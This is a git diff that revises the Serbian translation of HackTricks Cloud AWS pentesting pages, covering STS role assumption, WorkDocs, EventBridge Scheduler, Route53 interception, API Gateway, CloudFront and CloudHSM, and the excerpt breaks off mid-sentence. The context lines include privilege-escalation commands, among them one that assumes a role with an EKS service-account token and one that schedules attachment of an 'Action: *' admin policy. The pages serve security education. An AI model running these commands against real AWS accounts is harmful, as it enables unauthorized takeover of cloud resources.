`sts:AssumeRoleWithSAML` -Politika poverenja sa ovom ulogom omogućava **korisnicima koji su autentifikovani putem SAML da se pretvaraju da su ta uloga.** +Politika poverenja sa ovom ulogom omogućava **korisnicima koji su autentifikovani putem SAML da se pretvaraju da su uloga.** Primer politike poverenja sa ovom dozvolom je: ```json @@ -92,7 +92,7 @@ onelogin-aws-assume-role --onelogin-subdomain mettle --onelogin-app-id 283740 -- Ova dozvola omogućava dobijanje skupa privremenih bezbednosnih akreditiva za **korisnike koji su autentifikovani u mobilnoj, web aplikaciji, EKS...** sa provajderom web identiteta. [Saznajte više ovde.](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRoleWithWebIdentity.html) -Na primer, ako **EKS servisni nalog** treba da može da **pretvara se u IAM ulogu**, imaće token u **`/var/run/secrets/eks.amazonaws.com/serviceaccount/token`** i može **pretpostaviti ulogu i dobiti akreditive** radeći nešto poput: +Na primer, ako **EKS servisni nalog** treba da **imitira IAM ulogu**, imaće token u **`/var/run/secrets/eks.amazonaws.com/serviceaccount/token`** i može **da preuzme ulogu i dobije akreditive** radeći nešto poput: ```bash aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/ --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token # The role name can be found in the metadata of the configuration of the pod diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md index 478501d6e..01204e040 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md @@ -15,7 +15,7 @@ Kreirajte korisnika unutar naznačenog direktorijuma, tada ćete imati pristup i # Create user (created inside the AD) aws workdocs create-user --username testingasd --given-name testingasd --surname testingasd --password --email-address name@directory.domain --organization-id ``` -### `workdocs:GetDocument`, `(workdocs:`DescribeActivities`)` +### `workdocs:GetDocument`, `(workdocs:DescribeActivities`)` Fajlovi mogu sadržati osetljive informacije, pročitajte ih: ```bash @@ -43,4 +43,4 @@ Za to pratite uputstva sa [https://docs.aws.amazon.com/workdocs/latest/adminguid Prijavite se sa tim korisnikom u workdocs i pristupite administratorskom panelu na `/workdocs/index.html#/admin` -Nisam našao nijedan način da to uradim iz cli. +Nisam našao način da to uradim iz cli. diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md index 73dd7534a..d4c0e1106 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md @@ -14,7 +14,7 @@ Više informacija o EventBridge Scheduler-u u: Napadač sa tim dozvolama će moći da **`kreira`|`ažurira` raspored i zloupotrebi dozvole uloge rasporeda** koja je povezana sa njim da izvrši bilo koju akciju -Na primer, mogli bi da konfigurišu raspored da **pozove Lambda funkciju** koja je akcija sa šablonom: +Na primer, mogli bi da konfigurišu raspored da **pozove Lambda funkciju** koja je akcija po šablonu: ```bash aws scheduler create-schedule \ --name MyLambdaSchedule \ @@ -25,7 +25,7 @@ aws scheduler create-schedule \ "RoleArn": "arn:aws:iam:::role/" }' ``` -Pored šablonskih akcija servisa, možete koristiti **univerzalne ciljeve** u EventBridge Scheduler-u za pozivanje širokog spektra API operacija za mnoge AWS servise. Univerzalni ciljevi nude fleksibilnost za pozivanje gotovo bilo kog API-ja. Jedan primer može biti korišćenje univerzalnih ciljeva za dodavanje "**AdminAccessPolicy**", koristeći ulogu koja ima politiku "**putRolePolicy**": +Pored akcija usluga sa šablonima, možete koristiti **univerzalne ciljeve** u EventBridge Scheduler-u da pozovete širok spektar API operacija za mnoge AWS usluge. Univerzalni ciljevi nude fleksibilnost da pozovete gotovo bilo koji API. Jedan primer može biti korišćenje univerzalnih ciljeva za dodavanje "**AdminAccessPolicy**", koristeći ulogu koja ima politiku "**putRolePolicy**": ```bash aws scheduler create-schedule \ --name GrantAdminToTargetRoleSchedule \ @@ -37,7 +37,7 @@ aws scheduler create-schedule \ "Input": "{\"RoleName\": \"TargetRole\", \"PolicyName\": \"AdminAccessPolicy\", \"PolicyDocument\": \"{\\\"Version\\\": \\\"2012-10-17\\\", \\\"Statement\\\": [{\\\"Effect\\\": \\\"Allow\\\", \\\"Action\\\": \\\"*\\\", \\\"Resource\\\": \\\"*\\\"}]}\"}" }' ``` -## References +## Reference - [https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-templated.html](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-templated.html) - [https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-universal.html](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-universal.html) diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md index c3212ee21..171fea181 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md @@ -11,7 +11,7 @@ Za više informacija o Route53 pogledajte: ### `route53:CreateHostedZone`, `route53:ChangeResourceRecordSets`, `acm-pca:IssueCertificate`, `acm-pca:GetCertificate` > [!NOTE] -> Da bi se izvršio ovaj napad, ciljni nalog mora već imati [**AWS Certificate Manager Private Certificate Authority**](https://aws.amazon.com/certificate-manager/private-certificate-authority/) **(AWS-PCA)** postavljen u nalogu, a EC2 instance u VPC-ima moraju već imati uvezene sertifikate da bi im verovale. Sa ovom infrastrukturom, sledeći napad može biti izveden da bi se presreo AWS API saobraćaj. +> Da bi se izvela ova napad, ciljni nalog mora već imati postavljen [**AWS Certificate Manager Private Certificate Authority**](https://aws.amazon.com/certificate-manager/private-certificate-authority/) **(AWS-PCA)** u nalogu, a EC2 instance u VPC-ima moraju već imati uvezene sertifikate da bi im verovale. Sa ovom infrastrukturom, sledeći napad može biti izveden da bi se presreo AWS API saobraćaj. Ostale dozvole **preporučene, ali neobavezne za deo enumeracije**: `route53:GetHostedZone`, `route53:ListHostedZones`, `acm-pca:ListCertificateAuthorities`, `ec2:DescribeVpcs` @@ -20,7 +20,7 @@ Pretpostavljajući da postoji AWS VPC sa više cloud-native aplikacija koje komu To je moguće jer: - AWS SDK-ovi nemaju [Certificate Pinning](https://www.digicert.com/blog/certificate-pinning-what-is-certificate-pinning) -- Route53 omogućava kreiranje Privatne Hosted Zone i DNS zapisa za imena domena AWS API +- Route53 omogućava kreiranje Privatne Hosted Zone i DNS zapisa za imena domena AWS API-ja - Privatna CA u ACM-PCA ne može biti ograničena na potpisivanje samo sertifikata za specifične Common Names **Potencijalni uticaj:** Indirektni privesc presretanjem osetljivih informacija u saobraćaju. diff --git a/src/pentesting-cloud/aws-security/aws-services/README.md b/src/pentesting-cloud/aws-security/aws-services/README.md index 5b5bcb629..9c24c50a5 100644 --- a/src/pentesting-cloud/aws-security/aws-services/README.md +++ b/src/pentesting-cloud/aws-security/aws-services/README.md @@ -10,7 +10,7 @@ Usluge koje spadaju pod usluge kontejnera imaju sledeće karakteristike: - Sama usluga se pokreće na **odvojenim infrastrukturnim instancama**, kao što je EC2. - **AWS** je odgovoran za **upravljanje operativnim sistemom i platformom**. -- Upravljačka usluga se pruža od strane AWS-a, koja je obično sama usluga za **stvarnu aplikaciju koja se vidi kao kontejneri**. +- Upravljačka usluga se pruža od strane AWS-a, koja je obično sama usluga za **stvarnu aplikaciju koja se vidi kao kontejner**. - Kao korisnik ovih usluga kontejnera, imate niz odgovornosti u vezi sa upravljanjem i bezbednošću, uključujući **upravljanje bezbednošću pristupa mreži, kao što su pravila liste kontrole pristupa mreži i svi vatrozidi**. - Takođe, upravljanje identitetom i pristupom na nivou platforme gde to postoji. - **Primeri** AWS usluga kontejnera uključuju Relational Database Service, Elastic Mapreduce i Elastic Beanstalk. @@ -20,12 +20,12 @@ Usluge koje spadaju pod usluge kontejnera imaju sledeće karakteristike: - Ove usluge su **uklonjene, apstrahovane, sa platforme ili sloja upravljanja na kojem su izgrađene cloud aplikacije**. - Usluge se pristupaju putem krajnjih tačaka koristeći AWS aplikacione programske interfejse, API-je. - **Osnovna infrastruktura, operativni sistem i platforma se upravljaju od strane AWS-a**. -- Apstrahovane usluge pružaju platformu sa višekratnim korišćenjem na kojoj je osnovna infrastruktura deljena. +- Apstrahovane usluge pružaju platformu sa višestrukim korisnicima na kojoj je osnovna infrastruktura deljena. - **Podaci su izolovani putem bezbednosnih mehanizama**. -- Apstraktne usluge imaju jaku integraciju sa IAM, a **primeri** apstraktnih usluga uključuju S3, DynamoDB, Amazon Glacier i SQS. +- Apstraktne usluge imaju snažnu integraciju sa IAM, a **primeri** apstraktnih usluga uključuju S3, DynamoDB, Amazon Glacier i SQS. ## Enumeracija usluga -**Stranice ovog odeljka su poređane po AWS usluzi. Tamo ćete moći da pronađete informacije o usluzi (kako funkcioniše i mogućnosti) koje će vam omogućiti da eskalirate privilegije.** +**Stranice ovog odeljka su poređane po AWS uslugama. Tamo ćete moći da pronađete informacije o usluzi (kako funkcioniše i mogućnosti) koje će vam omogućiti da eskalirate privilegije.** {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-api-gateway-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-api-gateway-enum.md index db2a5b97b..5c753e217 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-api-gateway-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-api-gateway-enum.md @@ -8,27 +8,27 @@ AWS API Gateway je sveobuhvatna usluga koju nudi Amazon Web Services (AWS) dizajnirana za programere da **kreiraju, objavljuju i nadgledaju API-je na velikoj skali**. Funkcioniše kao ulazna tačka za aplikaciju, omogućavajući programerima da uspostave okvir pravila i procedura. Ovaj okvir reguliše pristup spoljnim korisnicima određenim podacima ili funkcionalnostima unutar aplikacije. -API Gateway vam omogućava da definišete **kako bi zahtevi za vaše API-je trebali biti obrađeni**, i može kreirati prilagođene API krajnje tačke sa specifičnim metodama (npr., GET, POST, PUT, DELETE) i resursima. Takođe može generisati klijentske SDK-ove (Softverske razvojne kompleti) kako bi olakšao programerima pozivanje vaših API-ja iz njihovih aplikacija. +API Gateway vam omogućava da definišete **kako bi zahtevi za vaše API-je trebali biti obrađeni**, i može kreirati prilagođene API krajnje tačke sa specifičnim metodama (npr. GET, POST, PUT, DELETE) i resursima. Takođe može generisati klijentske SDK-ove (Softverske razvojne kompleti) kako bi olakšao programerima pozivanje vaših API-ja iz njihovih aplikacija. ### Tipovi API Gateway-a -- **HTTP API**: Kreirajte API-je sa niskom latencijom i troškovno efikasne REST API-je sa ugrađenim funkcijama kao što su OIDC i OAuth2, i podrškom za CORS. Radi sa sledećim: Lambda, HTTP pozadinskim servisima. +- **HTTP API**: Kreirajte REST API-je sa niskom latencijom i troškovima, sa ugrađenim funkcijama kao što su OIDC i OAuth2, i podrškom za CORS. Radi sa sledećim: Lambda, HTTP backend-ima. - **WebSocket API**: Kreirajte WebSocket API koristeći trajne veze za slučajeve korišćenja u realnom vremenu kao što su chat aplikacije ili kontrolne table. Radi sa sledećim: Lambda, HTTP, AWS uslugama. -- **REST API**: Razvijajte REST API gde dobijate potpunu kontrolu nad zahtevom i odgovorom zajedno sa mogućnostima upravljanja API-jem. Radi sa sledećim: Lambda, HTTP, AWS uslugama. +- **REST API**: Razvijajte REST API gde dobijate potpunu kontrolu nad zahtevima i odgovorima zajedno sa mogućnostima upravljanja API-jem. Radi sa sledećim: Lambda, HTTP, AWS uslugama. - **REST API Privatni**: Kreirajte REST API koji je dostupan samo iz VPC-a. ### Glavne komponente API Gateway-a -1. **Resursi**: U API Gateway-u, resursi su komponente koje **čine strukturu vašeg API-ja**. Oni predstavljaju **različite putanje ili krajnje tačke** vašeg API-ja i odgovaraju raznim akcijama koje vaš API podržava. Resurs je svaka metoda (npr., GET, POST, PUT, DELETE) **unutar svake putanje** (/, ili /users, ili /user/{id}). -2. **Faze**: Faze u API Gateway-u predstavljaju **različite verzije ili okruženja** vašeg API-ja, kao što su razvoj, testiranje ili produkcija. Možete koristiti faze za upravljanje i implementaciju **više verzija vašeg API-ja istovremeno**, omogućavajući vam da testirate nove funkcije ili ispravke grešaka bez uticaja na produkciono okruženje. Faze takođe **podržavaju varijable faze**, koje su parovi ključ-vrednost koji se mogu koristiti za konfiguraciju ponašanja vašeg API-ja na osnovu trenutne faze. Na primer, mogli biste koristiti varijable faze da usmerite API zahteve na različite Lambda funkcije ili druge pozadinske usluge u zavisnosti od faze. +1. **Resursi**: U API Gateway-u, resursi su komponente koje **čine strukturu vašeg API-ja**. Oni predstavljaju **različite putanje ili krajnje tačke** vašeg API-ja i odgovaraju raznim akcijama koje vaš API podržava. Resurs je svaka metoda (npr. GET, POST, PUT, DELETE) **unutar svake putanje** (/, ili /users, ili /user/{id}). +2. **Faze**: Faze u API Gateway-u predstavljaju **različite verzije ili okruženja** vašeg API-ja, kao što su razvoj, testiranje ili produkcija. Možete koristiti faze za upravljanje i implementaciju **više verzija vašeg API-ja istovremeno**, omogućavajući vam da testirate nove funkcije ili ispravke grešaka bez uticaja na produkciono okruženje. Faze takođe **podržavaju varijable faze**, koje su parovi ključ-vrednost koji se mogu koristiti za konfiguraciju ponašanja vašeg API-ja na osnovu trenutne faze. Na primer, mogli biste koristiti varijable faze da usmerite API zahteve na različite Lambda funkcije ili druge backend usluge u zavisnosti od faze. - Faza se označava na početku URL-a krajnje tačke API Gateway-a. 3. **Autorizatori**: Autorizatori u API Gateway-u su odgovorni za **kontrolu pristupa vašem API-ju** verifikovanjem identiteta pozivaoca pre nego što dozvole da zahtev nastavi. Možete koristiti **AWS Lambda funkcije** kao prilagođene autorizatore, što vam omogućava da implementirate sopstvenu logiku autentifikacije i autorizacije. Kada zahtev stigne, API Gateway prosleđuje autorizacioni token zahteva Lambda autorizatoru, koji obrađuje token i vraća IAM politiku koja određuje koje akcije pozivalac može da izvrši. API Gateway takođe podržava **ugrađene autorizatore**, kao što su **AWS Identity and Access Management (IAM)** i **Amazon Cognito**. -4. **Politika resursa**: Politika resursa u API Gateway-u je JSON dokument koji **definiše dozvole za pristup vašem API-ju**. Slična je IAM politici, ali je specifično prilagođena za API Gateway. Možete koristiti politiku resursa da kontrolišete ko može pristupiti vašem API-ju, koje metode mogu pozvati, i sa kojih IP adresa ili VPC-a se mogu povezati. **Politike resursa se mogu koristiti u kombinaciji sa autorizatorima** kako bi se obezbedila precizna kontrola pristupa za vaš API. -- Da bi politika imala efekat, API mora biti **ponovo implementiran nakon** što je politika resursa izmenjena. +4. **Politika resursa**: Politika resursa u API Gateway-u je JSON dokument koji **definiše dozvole za pristup vašem API-ju**. Slična je IAM politici, ali je posebno prilagođena za API Gateway. Možete koristiti politiku resursa da kontrolišete ko može pristupiti vašem API-ju, koje metode mogu pozvati i sa kojih IP adresa ili VPC-a se mogu povezati. **Politike resursa se mogu koristiti u kombinaciji sa autorizatorima** kako bi se obezbedila precizna kontrola pristupa za vaš API. +- Da bi promena imala efekat, API treba da bude **ponovo implementiran nakon** što je politika resursa izmenjena. ### Logovanje -Podrazumevano, **CloudWatch Logs** su **isključeni**, **Logovanje pristupa** je **isključeno**, i **X-Ray praćenje** je takođe **isključeno**. +Podrazumevano, **CloudWatch Logs** su **isključeni**, **Access Logging** je **isključen**, a **X-Ray tracing** je takođe **isključen**. ### Enumeracija @@ -139,7 +139,7 @@ Moguće je postaviti da metode unutar putanje (resursa) zahtevaju IAM autentifik
-Kada je ovo postavljeno, dobićete grešku `{"message":"Missing Authentication Token"}` kada pokušate da dođete do krajnje tačke bez ikakve autorizacije. +Kada je ovo postavljeno, dobićete grešku `{"message":"Missing Authentication Token"}` kada pokušate da dođete do krajnje tačke bez bilo kakve autorizacije. Jedan jednostavan način da generišete očekivani token od strane aplikacije je korišćenje **curl**. ```bash @@ -184,14 +184,14 @@ response = requests.get(url, auth=awsauth) print(response.text) ``` -### Custom Lambda Authorizer +### Prilagođeni Lambda Autorizator -Moguće je koristiti lambda funkciju koja na osnovu datog tokena će **vratiti IAM politiku** koja ukazuje da li je korisnik **ovlašćen da pozove API krajnju tačku**.\ +Moguće je koristiti lambda funkciju koja na osnovu datog tokena **vraća IAM politiku** koja ukazuje da li je korisnik **ovlašćen da pozove API krajnju tačku**.\ Možete postaviti svaku metodu resursa koja će koristiti autorizator.
-Primer koda Lambda autorizatora +Primer koda Lambda Autorizatora ```python import json @@ -244,7 +244,7 @@ Pozovite ga sa nečim poput: > [!WARNING] > U zavisnosti od Lambda koda, ova autorizacija može biti ranjiva -Imajte na umu da ako se **generiše i vrati politika odbijanja**, greška koju vraća API Gateway je: `{"Message":"User is not authorized to access this resource with an explicit deny"}` +Imajte na umu da ako se **generiše i vrati deny policy**, greška koju vraća API Gateway je: `{"Message":"User is not authorized to access this resource with an explicit deny"}` Na ovaj način možete **identifikovati ovu autorizaciju** koja je na snazi. @@ -256,7 +256,7 @@ Moguće je postaviti API krajnje tačke koje **zahtevaju važeći API ključ** z Moguće je generisati API ključeve u API Gateway portalu i čak postaviti koliko često mogu biti korišćeni (u smislu zahteva po sekundi i u smislu zahteva po mesecu). -Da bi API ključ radio, potrebno je dodati ga u **Plan korišćenja**, ovaj plan korišćenja mora biti dodat u **API fazu** i povezana API faza treba da ima konfigurisano **ograničenje metoda** za **krajnju tačku** koja zahteva API ključ: +Da bi API ključ radio, potrebno je dodati ga u **Usage Plan**, ovaj plan korišćenja mora biti dodat u **API Stage** i povezani API stage treba da ima konfigurisano **metod throttling** za **krajnju tačku** koja zahteva API ključ:
@@ -272,13 +272,13 @@ Da bi API ključ radio, potrebno je dodati ga u **Plan korišćenja**, ovaj plan ../aws-privilege-escalation/aws-apigateway-privesc.md {{#endref}} -## Post Eksploatacija +## Post Exploatacija {{#ref}} ../aws-post-exploitation/aws-api-gateway-post-exploitation.md {{#endref}} -## Postojanost +## Persistencija {{#ref}} ../aws-persistence/aws-api-gateway-persistence.md diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md index 0037578f2..a497c92e4 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md @@ -39,11 +39,11 @@ Na sledećoj stranici možete proveriti kako da **zloupotrebite cloudformation d ### Post-Exploitation -Proverite za **tajne** ili osetljive informacije u **šablonu, parametrima i izlazu** svake CloudFormation +Proverite za **tajne** ili osetljive informacije u **šablonu, parametrima i izlazu** svakog CloudFormation-a ## Codestar -AWS CodeStar je usluga za kreiranje, upravljanje i rad sa projektima razvoja softvera na AWS-u. Možete brzo razvijati, graditi i implementirati aplikacije na AWS-u sa AWS CodeStar projektom. AWS CodeStar projekat kreira i **integriše AWS usluge** za vaš alat za razvoj projekta. U zavisnosti od vašeg izbora šablona AWS CodeStar projekta, taj alat može uključivati kontrolu verzija, izgradnju, implementaciju, virtuelne servere ili resurse bez servera, i još mnogo toga. AWS CodeStar takođe **upravlja dozvolama potrebnim za korisnike projekta** (koji se nazivaju članovi tima). +AWS CodeStar je usluga za kreiranje, upravljanje i rad na projektima razvoja softvera na AWS-u. Možete brzo razvijati, graditi i implementirati aplikacije na AWS-u sa AWS CodeStar projektom. AWS CodeStar projekat kreira i **integriše AWS usluge** za vaš alat za razvoj projekta. U zavisnosti od vašeg izbora šablona AWS CodeStar projekta, taj alat može uključivati kontrolu verzija, izgradnju, implementaciju, virtuelne servere ili serverless resurse, i još mnogo toga. AWS CodeStar takođe **upravlja dozvolama potrebnim za korisnike projekta** (koji se nazivaju članovi tima). ### Enumeration ```bash diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cloudfront-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-cloudfront-enum.md index ecd37fadb..e97afd21b 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-cloudfront-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-cloudfront-enum.md @@ -4,17 +4,17 @@ ## CloudFront -CloudFront je AWS-ova **mreža za isporuku sadržaja koja ubrzava distribuciju** vašeg statičkog i dinamičkog sadržaja putem svoje svetske mreže ivica. Kada koristite zahtev za sadržajem koji hostujete putem Amazon CloudFront-a, zahtev se usmerava na najbližu ivicu koja pruža najnižu latenciju za najbolju performansu. Kada su **CloudFront pristupni logovi** omogućeni, možete zabeležiti zahtev svakog korisnika koji traži pristup vašem veb sajtu i distribuciji. Kao i kod S3 pristupnih logova, ovi logovi su takođe **smešteni na Amazon S3 za trajno i postojano skladištenje**. Nema troškova za omogućavanje logovanja, međutim, pošto su logovi smešteni u S3, bićete naplaćeni za skladištenje koje koristi S3. +CloudFront je AWS-ova **mreža za isporuku sadržaja koja ubrzava distribuciju** vašeg statičkog i dinamičkog sadržaja kroz svoju svetsku mrežu ivica. Kada koristite zahtev za sadržajem koji hostujete putem Amazon CloudFront-a, zahtev se usmerava na najbližu ivicu koja pruža najnižu latenciju za najbolju performansu. Kada su **CloudFront pristupni logovi** omogućeni, možete zabeležiti zahtev svakog korisnika koji traži pristup vašem veb sajtu i distribuciji. Kao i kod S3 pristupnih logova, ovi logovi su takođe **smešteni na Amazon S3 za trajno i postojano skladištenje**. Nema troškova za omogućavanje logovanja, međutim, pošto su logovi smešteni u S3, bićete naplaćeni za skladištenje koje koristi S3. -Log fajlovi beleže podatke tokom određenog vremenskog perioda i zavisno od broja zahteva koje Amazon CloudFront primi za tu distribuciju, zavisiće i broj generisanih log fajlova. Važno je znati da se ovi log fajlovi ne kreiraju ili ne pišu na S3. S3 je jednostavno mesto gde se isporučuju kada je log fajl pun. **Amazon CloudFront zadržava ove logove dok nisu spremni za isporuku na S3**. Ponovo, u zavisnosti od veličine ovih log fajlova, ova isporuka može trajati **između jednog i 24 sata**. +Log fajlovi beleže podatke tokom određenog vremenskog perioda i zavisno od broja zahteva koje Amazon CloudFront primi za tu distribuciju, zavisiće i količina generisanih log fajlova. Važno je znati da se ovi log fajlovi ne kreiraju ili ne pišu na S3. S3 je jednostavno mesto gde se isporučuju kada je log fajl pun. **Amazon CloudFront zadržava ove logove dok nisu spremni da budu isporučeni S3**. Ponovo, u zavisnosti od veličine ovih log fajlova, ova isporuka može trajati **između jednog i 24 sata**. -**Po defaultu, logovanje kolačića je onemogućeno** ali ga možete omogućiti. +**Podrazumevano je logovanje kolačića onemogućeno** ali ga možete omogućiti. -### Functions +### Funkcije -Možete kreirati funkcije u CloudFront-u. Ove funkcije će imati svoj **endpoint u cloudfront-u** definisan i izvršiće deklarisani **NodeJS kod**. Ovaj kod će se izvršavati unutar **sandbox-a** na mašini koja radi pod AWS upravljanom mašinom (biće vam potrebna zaobilaženje sandbox-a da biste uspeli da pobegnete u osnovni OS). +Možete kreirati funkcije u CloudFront-u. Ove funkcije će imati svoj **endpoint u cloudfront-u** definisan i izvršiće deklarisani **NodeJS kod**. Ovaj kod će se izvršavati unutar **sandbox-a** na mašini koja radi pod AWS upravljanom mašinom (biće vam potrebna zaobilaženje sandbox-a da biste uspeli da pobegnete na osnovni OS). -Pošto se funkcije ne izvršavaju u korisnikovom AWS nalogu, nijedna IAM uloga nije povezana, tako da nije moguće direktno privilegije eskalirati zloupotrebom ove funkcije. +Pošto se funkcije ne izvršavaju u korisnikovom AWS nalogu, nijedna IAM uloga nije povezana, tako da nije moguće direktno privesc-ovati zloupotrebom ove funkcije. ### Enumeration ```bash diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cloudhsm-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-cloudhsm-enum.md index c9e7ebfb7..4cd44ddb8 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-cloudhsm-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-cloudhsm-enum.md @@ -4,7 +4,7 @@ ## HSM - Hardware Security Module -Cloud HSM je FIPS 140 nivo dva validirani **hardverski uređaj** za sigurno skladištenje kriptografskih ključeva (napomena: CloudHSM je hardverski uređaj, nije virtuelizovana usluga). To je SafeNetLuna 7000 uređaj sa preinstaliranim verzijom 5.3.13. Postoje dve verzije firmvera i koja ćete izabrati zavisi od vaših tačnih potreba. Jedna je za usklađenost sa FIPS 140-2, a postoji i novija verzija koja se može koristiti. +Cloud HSM je FIPS 140 nivo dva validirani **hardverski uređaj** za sigurno skladištenje kriptografskih ključeva (napomena: CloudHSM je hardverski uređaj, nije virtuelizovana usluga). To je SafeNetLuna 7000 uređaj sa preinstaliranim 5.3.13. Postoje dve verzije firmvera i koja god da izaberete, to zavisi od vaših tačnih potreba. Jedna je za FIPS 140-2 usklađenost, a postoji i novija verzija koja se može koristiti. Neobična karakteristika CloudHSM-a je to što je fizički uređaj, i stoga **nije deljen sa drugim korisnicima**, ili kako se to obično naziva, multi-tenant. To je posvećen uređaj koji je isključivo dostupan vašim radnim opterećenjima. @@ -12,24 +12,24 @@ Obično, uređaj je dostupan u roku od 15 minuta pod pretpostavkom da postoji ka Pošto je ovo fizički uređaj posvećen vama, **ključevi se čuvaju na uređaju**. Ključevi treba da budu **replicirani na drugi uređaj**, sačuvani na offline skladištu, ili eksportovani na rezervni uređaj. **Ovaj uređaj nije podržan** od strane S3 ili bilo koje druge usluge na AWS-u kao što je KMS. -U **CloudHSM-u**, morate **sami skalirati uslugu**. Morate obezbediti dovoljno CloudHSM uređaja da obradite sve vaše potrebe za enkripcijom na osnovu kriptografskih algoritama koje ste izabrali da implementirate za vaše rešenje.\ -Skaliranje usluge za upravljanje ključevima vrši AWS i automatski se skalira na zahtev, tako da kako se vaša upotreba povećava, tako se može povećati i broj CloudHSM uređaja koji su potrebni. Imajte ovo na umu dok skalirate vaše rešenje i ako vaše rešenje ima automatsko skaliranje, uverite se da je vaš maksimalni kapacitet uzet u obzir sa dovoljno CloudHSM uređaja da podrži rešenje. +U **CloudHSM-u**, morate **sami skalirati uslugu**. Morate obezbediti dovoljno CloudHSM uređaja da biste zadovoljili svoje potrebe za enkripcijom na osnovu kriptografskih algoritama koje ste izabrali da implementirate za svoje rešenje.\ +Skaliranje usluge za upravljanje ključevima vrši AWS i automatski se skalira na zahtev, tako da kako se vaša upotreba povećava, tako se može povećati i broj CloudHSM uređaja koji su potrebni. Imajte ovo na umu dok skalirate svoje rešenje i ako vaše rešenje ima automatsko skaliranje, uverite se da je vaš maksimalni kapacitet obezbeđen sa dovoljno CloudHSM uređaja da podrži rešenje. -Baš kao i skaliranje, **performanse su na vama sa CloudHSM-om**. Performanse variraju u zavisnosti od toga koji kriptografski algoritam se koristi i koliko često treba da pristupite ili preuzmete ključeve za enkripciju podataka. Performanse usluge za upravljanje ključevima se obezbeđuju od strane Amazona i automatski se skaliraju kako to zahteva potražnja. Performanse CloudHSM-a se postižu dodavanjem više uređaja i ako vam je potrebna veća performansa, ili dodajete uređaje ili menjate metodu enkripcije na algoritam koji je brži. +Baš kao i skaliranje, **performanse su na vama sa CloudHSM-om**. Performanse variraju u zavisnosti od toga koji se kriptografski algoritam koristi i koliko često treba da pristupite ili preuzmete ključeve za enkripciju podataka. Performanse usluge za upravljanje ključevima se obezbeđuju od strane Amazona i automatski se skaliraju kako to zahteva potražnja. Performanse CloudHSM-a se postižu dodavanjem više uređaja i ako vam je potrebna veća performansa, ili dodajete uređaje ili menjate metodu enkripcije na algoritam koji je brži. -Ako je vaše rešenje **multi-region**, trebate dodati nekoliko **CloudHSM uređaja u drugoj regiji i rešiti međuregionalnu povezanost putem privatne VPN veze** ili nekog metoda kako biste osigurali da je saobraćaj uvek zaštićen između uređaja na svakom sloju veze. Ako imate multi-region rešenje, morate razmisliti o tome kako da **replicirate ključeve i postavite dodatne CloudHSM uređaje u regijama u kojima poslujete**. Možete vrlo brzo doći u situaciju gde imate šest ili osam uređaja raspoređenih po više regija, omogućavajući potpunu redundanciju vaših kriptografskih ključeva. +Ako je vaše rešenje **multi-region**, trebali biste dodati nekoliko **CloudHSM uređaja u drugoj regiji i uspostaviti međuregionalnu povezanost putem privatne VPN veze** ili nekog metoda kako biste osigurali da je saobraćaj uvek zaštićen između uređaja na svakom sloju veze. Ako imate multi-region rešenje, morate razmisliti o tome kako da **replicirate ključeve i postavite dodatne CloudHSM uređaje u regijama u kojima poslujete**. Možete vrlo brzo doći u situaciju gde imate šest ili osam uređaja raspoređenih po više regija, omogućavajući potpunu redundanciju vaših kriptografskih ključeva. -**CloudHSM** je usluga klase preduzeća za sigurno skladištenje ključeva i može se koristiti kao **root of trust za preduzeće**. Može čuvati privatne ključeve u PKI i ključeve sertifikacione vlasti u X509 implementacijama. Pored simetričnih ključeva koji se koriste u simetričnim algoritmima kao što je AES, **KMS skladišti i fizički štiti samo simetrične ključeve (ne može delovati kao sertifikaciona vlast)**, tako da ako trebate da skladištite PKI i CA ključeve, jedan ili dva ili tri CloudHSM-a bi mogli biti vaše rešenje. +**CloudHSM** je usluga klase preduzeća za sigurno skladištenje ključeva i može se koristiti kao **root of trust za preduzeće**. Može skladištiti privatne ključeve u PKI i ključeve sertifikacione vlasti u X509 